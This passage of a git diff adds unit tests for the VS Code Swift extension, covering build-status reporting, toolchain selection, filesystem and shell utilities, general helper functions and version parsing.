+// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as vscode from "vscode"; + +import configuration from "@src/configuration"; +import { SwiftExecution } from "@src/tasks/SwiftExecution"; +import { StatusItem } from "@src/ui/StatusItem"; +import { SwiftBuildStatus } from "@src/ui/SwiftBuildStatus"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalEvent, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../../MockUtils"; +import { TestSwiftProcess } from "../../fixtures"; + +suite("SwiftBuildStatus Unit Test Suite", function () { + const windowMock = mockGlobalObject(vscode, "window"); + const didStartTaskMock = mockGlobalEvent(vscode.tasks, "onDidStartTask"); + const configurationMock = mockGlobalValue(configuration, "showBuildStatus"); + + let mockedProgress: MockedObject< + vscode.Progress<{ + message?: string; + increment?: number; + }> + >; + let mockedStatusItem: MockedObject; + let mockedTask: MockedObject; + let swiftExecution: SwiftExecution; + let testSwiftProcess: TestSwiftProcess; + let mockedTaskExecution: MockedObject; + + setup(() => { + mockedProgress = mockObject< + vscode.Progress<{ + message?: string; + increment?: number; + }> + >({ + report: mockFn(), + }); + windowMock.withProgress.callsFake(async (_options, task) => { + const cts = new vscode.CancellationTokenSource(); + await task(mockedProgress, cts.token); + }); + mockedStatusItem = mockObject({ + showStatusWhileRunning: mockFn(s => + s.callsFake(async (_task, process) => { + await process(); + }) + ), + start: mockFn(), + update: mockFn(), + end: mockFn(), + dispose: mockFn(), + }); + testSwiftProcess = new TestSwiftProcess("swift", ["build"]); + swiftExecution = new SwiftExecution( + testSwiftProcess.command, + testSwiftProcess.args, + {}, + testSwiftProcess + ); + mockedTask = new vscode.Task( + { type: "swift" }, + vscode.TaskScope.Global, + "My Task", + "swift", + swiftExecution + ); + mockedTaskExecution = mockObject({ + task: mockedTask, + terminate: mockFn(), + }); + }); + + test("Never show status", async () => { + configurationMock.setValue("never"); + + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + expect(mockedStatusItem.showStatusWhileRunning).to.not.have.been.called; + expect(windowMock.withProgress).to.not.have.been.called; + }); + + test("Ignore non-swift task", async () => { + mockedTask.definition = { type: "shell" }; + configurationMock.setValue("swiftStatus"); + + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + expect(mockedStatusItem.showStatusWhileRunning).to.not.have.been.called; + expect(windowMock.withProgress).to.not.have.been.called; + }); + + test("Show swift status", async () => { + configurationMock.setValue("swiftStatus"); + + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + expect(mockedStatusItem.showStatusWhileRunning).to.have.been.calledWith( + mockedTaskExecution.task + ); + expect(windowMock.withProgress).to.not.have.been.called; + }); + + test("Show status bar progress", async () => { + configurationMock.setValue("progress"); + + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + expect(windowMock.withProgress).to.have.been.calledWith({ + location: vscode.ProgressLocation.Window, + }); + expect(mockedStatusItem.showStatusWhileRunning).to.not.have.been.called; + }); + + test("Show notification progress", async () => { + configurationMock.setValue("notification"); + + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + expect(windowMock.withProgress).to.have.been.calledWith({ + location: vscode.ProgressLocation.Notification, + }); + expect(mockedStatusItem.showStatusWhileRunning).to.not.have.been.called; + }); + + test("Update fetching", async () => { + // Setup progress + configurationMock.setValue("progress"); + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + // Setup swiftStatus + configurationMock.setValue("swiftStatus"); + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + testSwiftProcess.write( + "Fetching https://github.com/apple/example-package-figlet from cache\n" + + "Fetched https://github.com/apple/example-package-figlet from cache (0.43s)\n" + + "Fetching https://github.com/apple/swift-testing.git from cache\n" + + "Fetched https://github.com/apple/swift-testing.git from cache (0.77s)\n" + ); + + const expected = "My Task: Fetching Dependencies"; + expect(mockedProgress.report).to.have.been.calledWith({ message: expected }); + expect(mockedStatusItem.update).to.have.been.calledWith(mockedTaskExecution.task, expected); + }); + + test("Update build progress", async () => { + // Setup progress + configurationMock.setValue("progress"); + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + // Setup swiftStatus + configurationMock.setValue("swiftStatus"); + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + testSwiftProcess.write( + "Fetching https://github.com/apple/example-package-figlet from cache\n" + + "[6/7] Building main.swift\n" + + "[7/7] Applying MyCLI\n" + ); + + const expected = "My Task: [7/7]"; + expect(mockedProgress.report).to.have.been.calledWith({ message: expected }); + expect(mockedStatusItem.update).to.have.been.calledWith(mockedTaskExecution.task, expected); + + // Ignore old stuff + expect(mockedProgress.report).to.not.have.been.calledWith({ + message: "My Task: Fetching Dependencies", + }); + expect(mockedProgress.report).to.not.have.been.calledWith({ message: "My Task: [6/7]" }); + }); + + test("Build complete", async () => { + // Setup progress + configurationMock.setValue("progress"); + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + // Setup swiftStatus + configurationMock.setValue("swiftStatus"); + new SwiftBuildStatus(instance(mockedStatusItem)); + await didStartTaskMock.fire({ execution: mockedTaskExecution }); + + testSwiftProcess.write( + "Fetching https://github.com/apple/example-package-figlet from cache\n" + + "[6/7] Building main.swift\n" + + "[7/7] Applying MyCLI\n" + + "Build complete!" + ); + + // Report only the preparing message + expect(mockedProgress.report).to.have.been.calledWith({ message: "My Task: Preparing..." }); + }); +}); diff --git a/test/unit-tests/ui/ToolchainSelection.test.ts b/test/unit-tests/ui/ToolchainSelection.test.ts new file mode 100644 index 000000000..5c7ee7067 --- /dev/null +++ b/test/unit-tests/ui/ToolchainSelection.test.ts @@ -0,0 +1,382 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as mockFS from "mock-fs"; +import * as path from "path"; +import { match } from "sinon"; +import * as vscode from "vscode"; + +import { SwiftLogger } from "@src/logging/SwiftLogger"; +import { Swiftly } from "@src/toolchain/swiftly"; +import { SwiftToolchain } from "@src/toolchain/toolchain"; +import { showToolchainSelectionQuickPick } from "@src/ui/ToolchainSelection"; +import * as utilities from "@src/utilities/utilities"; + +import { + MockedObject, + instance, + mockFn, + mockGlobalModule, + mockGlobalObject, + mockGlobalValue, + mockObject, +} from "../../MockUtils"; + +suite("ToolchainSelection Unit Test Suite", () => { + const mockedUtilities = mockGlobalModule(utilities); + const mockedPlatform = mockGlobalValue(process, "platform"); + const mockedVSCodeWindow = mockGlobalObject(vscode, "window"); + const mockedVSCodeCommands = mockGlobalObject(vscode, "commands"); + const mockedVSCodeEnv = mockGlobalObject(vscode, "env"); + const mockedVSCodeWorkspace = mockGlobalObject(vscode, "workspace"); + const mockedSwiftToolchain = mockGlobalModule(SwiftToolchain); + const mockedSwiftly = mockGlobalModule(Swiftly); + let mockedConfiguration: MockedObject; + let mockedLogger: MockedObject; + + setup(() => { + mockFS({}); + mockedUtilities.execFile.rejects( + new Error("execFile was not properly mocked for this test.") + ); + + mockedLogger = mockObject({}); + + // Set up VSCode mocks + mockedVSCodeWindow.showQuickPick.resolves(undefined); + mockedVSCodeWindow.showOpenDialog.resolves(undefined); + mockedVSCodeWindow.showErrorMessage.resolves(undefined); + mockedVSCodeWindow.showWarningMessage.resolves(undefined); + mockedVSCodeWindow.showInformationMessage.resolves(undefined); + mockedVSCodeWindow.withProgress.callsFake(async (_options, task) => { + return await task({ report: () => {} }, {} as any); + }); + mockedVSCodeCommands.executeCommand.resolves(undefined); + mockedVSCodeEnv.openExternal.resolves(true); + + // Mock workspace configuration to prevent actual settings writes + mockedConfiguration = mockObject({ + update: mockFn(), + inspect: mockFn(s => s.returns({})), + get: mockFn(), + has: mockFn(s => s.returns(false)), + }); + mockedVSCodeWorkspace.getConfiguration.returns(instance(mockedConfiguration)); + mockedVSCodeWorkspace.workspaceFolders = [ + { + index: 0, + name: "test", + uri: vscode.Uri.file("/path/to/workspace"), + }, + ]; + + // Mock SwiftToolchain static methods + mockedSwiftToolchain.findXcodeInstalls.resolves([]); + mockedSwiftToolchain.getToolchainInstalls.resolves([]); + mockedSwiftToolchain.getXcodeDeveloperDir.resolves(""); + + // Mock Swiftly static methods + mockedSwiftly.list.resolves([]); + mockedSwiftly.listAvailable.resolves([]); + mockedSwiftly.inUseVersion.resolves(undefined); + mockedSwiftly.use.resolves(); + mockedSwiftly.installToolchain.resolves(); + }); + + teardown(() => { + mockFS.restore(); + }); + + suite("macOS", () => { + setup(() => { + mockedPlatform.setValue("darwin"); + }); + + test("shows Xcode toolchains", async () => { + mockedSwiftToolchain.findXcodeInstalls.resolves([ + "/Applications/Xcode-beta.app", + "/Applications/Xcode.app", + ]); + // Extract the Xcode toolchain labels and simulate user cancellation + let xcodeToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + xcodeToolchains = (await items) + .filter((t: any) => t.category === "xcode") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(xcodeToolchains).to.deep.equal(["Xcode", "Xcode-beta"]); + }); + + test("user is able to set an Xcode toolchain for their workspace", async () => { + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const xcodeToolchains = (await items).filter( + (t: any) => t.category === "xcode" + ); + return xcodeToolchains[0]; + }); + // User selects Workspace Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Workspace Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + path.normalize( + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin" + ), + vscode.ConfigurationTarget.Workspace + ); + }); + + test("user is able to set a global Xcode toolchain", async () => { + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const xcodeToolchains = (await items).filter( + (t: any) => t.category === "xcode" + ); + return xcodeToolchains[0]; + }); + // User selects Global Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Global Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + path.normalize( + "/Applications/Xcode.app/Contents/Developer/Toolchains/XcodeDefault.xctoolchain/usr/bin" + ), + vscode.ConfigurationTarget.Global + ); + }); + + test("shows public toolchains installed by the user", async () => { + mockedSwiftToolchain.getToolchainInstalls.resolves([ + "/Library/Developer/Toolchains/swift-main-DEVELOPMENT", + "/Library/Developer/Toolchains/swift-6.2-RELEASE", + ]); + // Extract the Xcode toolchain labels and simulate user cancellation + let publicToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + publicToolchains = (await items) + .filter((t: any) => t.category === "public") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(publicToolchains).to.deep.equal(["swift-main-DEVELOPMENT", "swift-6.2-RELEASE"]); + }); + + test("shows toolchains installed via Swiftly", async () => { + mockedSwiftly.list.resolves(["6.2.0", "6.0.0", "5.9.3"]); + // Extract the Swiftly toolchain labels and simulate user cancellation + let swiftlyToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + swiftlyToolchains = (await items) + .filter((t: any) => t.category === "swiftly") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(swiftlyToolchains).to.deep.equal(["6.2.0", "6.0.0", "5.9.3"]); + }); + + test("user is able to set a Swiftly toolchain for their workspace", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Workspace Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Workspace Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith( + "6.2.0", + path.normalize("/path/to/workspace") + ); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Workspace + ); + }); + + test("user is able to set a global Swiftly toolchain", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + mockedSwiftToolchain.findXcodeInstalls.resolves(["/Applications/Xcode.app"]); + mockedVSCodeWorkspace.workspaceFolders = [ + { + index: 0, + name: "test", + uri: vscode.Uri.file("/path/to/workspace"), + }, + ]; + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Global Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Global Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith("6.2.0"); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Global + ); + }); + }); + + suite("Linux", () => { + setup(() => { + mockedPlatform.setValue("linux"); + }); + + test("shows toolchains installed via Swiftly", async () => { + mockedSwiftly.list.resolves(["6.2.0", "6.0.0", "5.9.3"]); + // Extract the Swiftly toolchain labels and simulate user cancellation + let swiftlyToolchains: string[] = []; + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + swiftlyToolchains = (await items) + .filter((t: any) => t.category === "swiftly") + .map((t: any) => t.label); + return undefined; + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(swiftlyToolchains).to.deep.equal(["6.2.0", "6.0.0", "5.9.3"]); + }); + + test("user is able to set a Swiftly toolchain for their workspace", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Workspace Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Workspace Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith( + "6.2.0", + path.normalize("/path/to/workspace") + ); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Workspace + ); + }); + + test("user is able to set a global Swiftly toolchain", async () => { + mockedSwiftly.list.resolves(["6.2.0"]); + mockedVSCodeWorkspace.workspaceFolders = [ + { + index: 0, + name: "test", + uri: vscode.Uri.file("/path/to/workspace"), + }, + ]; + // User selects the first toolchain that appears + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Select the Swift toolchain")) + .callsFake(async items => { + const swiftlyToolchains = (await items).filter( + (t: any) => t.category === "swiftly" + ); + return swiftlyToolchains[0]; + }); + // User selects Global Configuration + mockedVSCodeWindow.showQuickPick + .withArgs(match.any, match.has("title", "Toolchain Configuration")) + .callsFake(async items => { + return (await items).find(item => item.label === "Global Configuration"); + }); + + await showToolchainSelectionQuickPick(undefined, instance(mockedLogger)); + + expect(mockedSwiftly.use).to.have.been.calledWith("6.2.0"); + expect(mockedConfiguration.update).to.have.been.calledWith( + "path", + undefined, + vscode.ConfigurationTarget.Global + ); + }); + }); +}); diff --git a/test/unit-tests/utilities/filesystem.test.ts b/test/unit-tests/utilities/filesystem.test.ts new file mode 100644 index 000000000..6cde1278c --- /dev/null +++ b/test/unit-tests/utilities/filesystem.test.ts @@ -0,0 +1,118 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import * as path from "path"; +import { Uri } from "vscode"; + +import { + expandFilePathTilde, + isExcluded, + isIncluded, + isPathInsidePath, +} from "@src/utilities/filesystem"; + +suite("File System Utilities Unit Test Suite", () => { + test("isPathInsidePath", () => { + expect(isPathInsidePath("/home/user/package", "/home/user/")).to.be.true; + expect(isPathInsidePath("/home/user/package/test", "/home/user/")).to.be.true; + expect(isPathInsidePath("/home/user/", "/home/user/")).to.be.true; + expect(isPathInsidePath("/home/user/.build", "/home/user/")).to.be.true; + expect(isPathInsidePath("/home/user/package", "/home/user/package2")).to.be.false; + expect(isPathInsidePath("/home/user/package/.build", "/home/user/package2/.build")).to.be + .false; + expect(isPathInsidePath("/home/user/package/", "/home/user/package/.build")).to.be.false; + }); + + suite("expandFilePathTilde", () => { + test("expands tilde", () => { + expect(expandFilePathTilde("~/Test", "/Users/John", "darwin")).to.equal( + path.normalize("/Users/John/Test") + ); + }); + + test("no tilde present", () => { + expect(expandFilePathTilde("/Users/John/Test", "/Users/John2", "darwin")).to.equal( + "/Users/John/Test" + ); + }); + + test("tilde not first character", () => { + expect(expandFilePathTilde("/Users/~/Test", "/Users/John", "darwin")).to.equal( + "/Users/~/Test" + ); + }); + + test("don't know the home directory", () => { + expect(expandFilePathTilde("~/Test", null, "darwin")).to.equal("~/Test"); + }); + + test("don't resolve tilde on Windows", () => { + expect(expandFilePathTilde("~/Test", "C:\\Users\\John", "win32")).to.equal("~/Test"); + }); + }); + + suite("isExcluded()", () => { + const uri = Uri.file("path/to/foo/bar/file.swift"); + + test("excluded", () => { + expect(isExcluded(uri, { "/path": true })).to.be.true; + expect(isExcluded(uri, { "**/foo": true })).to.be.true; + expect(isExcluded(uri, { "**/foo/**": true })).to.be.true; + }); + + test("excluded, overwriting patterns", () => { + expect(isExcluded(uri, { "**/foo": false, "**/foo/bar": true })).to.be.true; + }); + + test("NOT excluded", () => { + expect(isExcluded(uri, { "**/qux/**": false })).to.be.false; + expect(isExcluded(uri, { "**/foo": false, "**/foo/qux": true })).to.be.false; + expect( + isExcluded(uri, { + "**/foo": false, + "**/foo/bar": true, + "**/foo/bar/file.swift": false, + }) + ).to.be.false; + }); + }); + + suite("isIncluded()", () => { + const uri = Uri.file("path/to/foo/bar/file.swift"); + + test("included", () => { + expect(isIncluded(uri, {})).to.be.true; + expect(isIncluded(uri, { "/path": false })).to.be.true; + expect(isIncluded(uri, { "**/foo": false })).to.be.true; + expect(isIncluded(uri, { "**/foo/**": false })).to.be.true; + expect(isIncluded(uri, { "**/qux/**": true })).to.be.true; + }); + + test("included, overwriting patterns", () => { + expect(isIncluded(uri, { "**/foo": true, "**/foo/bar": false })).to.be.true; + }); + + test("NOT included", () => { + expect(isIncluded(uri, { "**/foo": true })).to.be.false; + expect(isIncluded(uri, { "**/foo": true, "**/foo/qux": false })).to.be.false; + expect( + isIncluded(uri, { + "**/foo": true, + "**/foo/bar": false, + "**/foo/bar/file.swift": true, + }) + ).to.be.false; + }); + }); +}); diff --git a/test/unit-tests/utilities/shell.test.ts b/test/unit-tests/utilities/shell.test.ts new file mode 100644 index 000000000..e9d329951 --- /dev/null +++ b/test/unit-tests/utilities/shell.test.ts @@ -0,0 +1,62 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2025 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { afterEach, beforeEach } from "mocha"; +import * as sinon from "sinon"; + +import { findBinaryPath } from "@src/utilities/shell"; +import * as utilities from "@src/utilities/utilities"; + +suite("Shell Unit Test Suite", () => { + let execFileStub: sinon.SinonStub; + + beforeEach(() => { + execFileStub = sinon.stub(utilities, "execFile"); + }); + + afterEach(() => { + sinon.restore(); + }); + + suite("findBinaryPath", () => { + test("returns the path to a binary in the PATH", async () => { + execFileStub.resolves({ + stdout: "node is /usr/local/bin/node\n", + stderr: "", + }); + + const binaryPath = await findBinaryPath("node"); + expect(binaryPath).to.equal("/usr/local/bin/node"); + expect(execFileStub).to.have.been.calledWith("/bin/sh", [ + "-c", + "LC_MESSAGES=C type node", + ]); + }); + + test("throws for a non-existent binary", async () => { + execFileStub.resolves({ + stdout: "", + stderr: "sh: type: nonexistentbinary: not found\n", + }); + + try { + await findBinaryPath("nonexistentbinary"); + expect.fail("Expected an error to be thrown for a non-existent binary"); + } catch (error) { + expect(error).to.be.an("error"); + expect((error as Error).message).to.include("nonexistentbinary"); + } + }); + }); +}); diff --git a/test/unit-tests/utilities/utilities.test.ts b/test/unit-tests/utilities/utilities.test.ts new file mode 100644 index 000000000..586cb9836 --- /dev/null +++ b/test/unit-tests/utilities/utilities.test.ts @@ -0,0 +1,217 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2021 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; +import { Range } from "vscode"; + +import { + getErrorDescription, + getRepositoryName, + hashString, + regexEscapedString, + runtimeEnv, + sourceLocationToVSCodeLocation, + stringArrayInEnglish, + swiftPlatformLibraryPathKey, +} from "@src/utilities/utilities"; + +suite("Utilities Unit Test Suite", () => { + suite("getRepositoryName", () => { + test("regular url", () => { + expect(getRepositoryName("https://github.com/swiftlang/vscode-swift.git")).to.equal( + "vscode-swift" + ); + }); + + test("url does not end in .git", () => { + expect(getRepositoryName("https://github.com/swiftlang/vscode-swift")).to.equal( + "vscode-swift" + ); + }); + + test("URL contains a trailing slash", () => { + expect(getRepositoryName("https://github.com/swiftlang/vscode-swift.git/")).to.equal( + "vscode-swift" + ); + }); + test("Name contains a dot", () => { + expect(getRepositoryName("https://github.com/swiftlang/vscode.swift.git")).to.equal( + "vscode.swift" + ); + }); + + test("Name contains .git", () => { + expect(getRepositoryName("https://github.com/swiftlang/vscode.git.git")).to.equal( + "vscode.git" + ); + }); + }); + + suite("getErrorDescription", () => { + test('should return "No error provided" when the error is null or undefined', () => { + expect(getErrorDescription(null)).to.equal("No error provided"); + expect(getErrorDescription(undefined)).to.equal("No error provided"); + }); + + test("should return the stderr property if present", () => { + const errorWithStderr = { stderr: "This is an error from stderr" }; + const result = getErrorDescription(errorWithStderr); + expect(result).to.equal("This is an error from stderr"); + }); + + test("should return the error property if present", () => { + const errorWithErrorProperty = { error: "This is an error message" }; + const result = getErrorDescription(errorWithErrorProperty); + expect(result).to.equal(JSON.stringify("This is an error message")); + }); + + test("should return the message property if the error is an instance of Error", () => { + const standardError = new Error("This is a standard error message"); + const result = getErrorDescription(standardError); + expect(result).to.equal("This is a standard error message"); + }); + + test("should return a stringified version of the error if it is an object without stderr or error properties", () => { + const genericObjectError = { message: "Generic error", code: 500 }; + const result = getErrorDescription(genericObjectError); + expect(result).to.equal(JSON.stringify(genericObjectError)); + }); + + test("should return a stringified version of the error if it is a string", () => { + const stringError = "This is a string error"; + const result = getErrorDescription(stringError); + expect(result).to.equal(JSON.stringify(stringError)); + }); + + test("should return a stringified version of the error if it is a number", () => { + const numericError = 404; + const result = getErrorDescription(numericError); + expect(result).to.equal(JSON.stringify(numericError)); + }); + + test("should return a stringified version of an array if passed as error", () => { + const arrayError = ["Error in item 1", "Error in item 2"]; + const result = getErrorDescription(arrayError); + expect(result).to.equal(JSON.stringify(arrayError)); + }); + }); + + suite("hashString", () => { + test("empty string", () => { + expect(hashString("")).to.equal(3338908027751811); + }); + + test("non empty string", () => { + expect(hashString("foo")).to.equal(6104293464250660); + }); + }); + + suite("stringArrayInEnglish", () => { + test("should return a single element unchanged", () => { + expect(stringArrayInEnglish(["a"])).to.equal("a"); + }); + + test("should use 'and' to concatinate two elements", () => { + expect(stringArrayInEnglish(["a", "b"])).to.equal("a and b"); + }); + + test("should handle three or more elements", () => { + expect(stringArrayInEnglish(["a", "b", "c"])).to.equal("a, b and c"); + }); + }); + + suite("regexEscapedString", () => { + test("should escape special regex characters in a string", () => { + expect(regexEscapedString("a.b(c)d[e]f$g^h?i|j/k:l")).to.equal( + "a\\.b\\(c\\)d\\[e\\]f\\$g\\^h\\?i\\|j\\/k\\:l" + ); + }); + + test("should not escape characters that are not special regex characters", () => { + expect(regexEscapedString("abcde12345")).to.equal("abcde12345"); + }); + + test("should escape a string that contains only special regex characters", () => { + expect(regexEscapedString(".^$|()?[]/:")).to.equal("\\.\\^\\$\\|\\(\\)\\?\\[\\]\\/\\:"); + }); + + test("should escape a string that omits some characters", () => { + expect(regexEscapedString(".^$|()?[]/:", new Set(["^", "$", "a"]))).to.equal( + "\\.^$\\|\\(\\)\\?\\[\\]\\/\\:" + ); + }); + + test("should return an empty string when input is an empty string", () => { + expect(regexEscapedString("")).to.equal(""); + }); + }); + + suite("swiftPlatformLibraryPathKey", () => { + test("returns correct key for Windows", () => { + expect(swiftPlatformLibraryPathKey("win32")).to.equal("Path"); + }); + + test("returns correct key for Darwin", () => { + expect(swiftPlatformLibraryPathKey("darwin")).to.equal("DYLD_LIBRARY_PATH"); + }); + + test("returns correct key for Linux", () => { + expect(swiftPlatformLibraryPathKey("linux")).to.equal("LD_LIBRARY_PATH"); + }); + }); + + suite("runtimeEnv", () => { + test("returns undefined when empty value", () => { + expect(runtimeEnv({}, "Path", "", ";")).to.equal(undefined); + }); + + test("returns value without separator when key doesn't exist", () => { + expect(runtimeEnv({}, "Path", "/my/path", ";")).to.deep.equal({ Path: "/my/path" }); + }); + + test("returns value with separator when key already exists", () => { + expect(runtimeEnv({ Path: "/my/other/path" }, "Path", "/my/path", ";")).to.deep.equal({ + Path: "/my/path;/my/other/path", + }); + }); + + test("returns value without other keys still present", () => { + expect(runtimeEnv({ FOO: "bar", BAZ: "1" }, "Path", "/my/path", ";")).to.deep.equal({ + Path: "/my/path", + }); + }); + }); + + suite("sourceLocationToVSCodeLocation", () => { + test("rows and columns are 0-based", () => { + expect( + sourceLocationToVSCodeLocation("/my/file", 1, 0).range.isEqual( + new Range(0, 0, 0, 0) + ) + ).to.be.true; + expect( + sourceLocationToVSCodeLocation("/my/file", 10, 4).range.isEqual( + new Range(9, 4, 9, 4) + ) + ).to.be.true; + }); + + test("columns default to 0", () => { + expect( + sourceLocationToVSCodeLocation("/my/file", 1, undefined).range.isEqual( + new Range(0, 0, 0, 0) + ) + ).to.be.true; + }); + }); +}); diff --git a/test/unit-tests/utilities/version.test.ts b/test/unit-tests/utilities/version.test.ts new file mode 100644 index 000000000..5acc7a714 --- /dev/null +++ b/test/unit-tests/utilities/version.test.ts @@ -0,0 +1,125 @@ +//===----------------------------------------------------------------------===// +// +// This source file is part of the VS Code Swift open source project +// +// Copyright (c) 2024 the VS Code Swift project authors +// Licensed under Apache License v2.0 +// +// See LICENSE.txt for license information +// See CONTRIBUTORS.txt for the list of VS Code Swift project authors +// +// SPDX-License-Identifier: Apache-2.0 +// +//===----------------------------------------------------------------------===// +import { expect } from "chai"; + +import { Version } from "@src/utilities/version"; + +suite("Version Suite", () => { + suite("fromString", () => { + test("parses major.minor", () => { + const version = Version.fromString("5.10"); + + expect(version?.major).to.equal(5); + expect(version?.minor).to.equal(10); + expect(version?.patch).to.equal(0); + expect(version?.dev).to.be.false; + }); + + test("parses major.minor.patch", () => { + const version = Version.fromString("5.10.1"); + + expect(version?.major).to.equal(5); + expect(version?.minor).to.equal(10); + expect(version?.patch).to.equal(1); + expect(version?.dev).to.be.false; + }); + + test("parses -dev 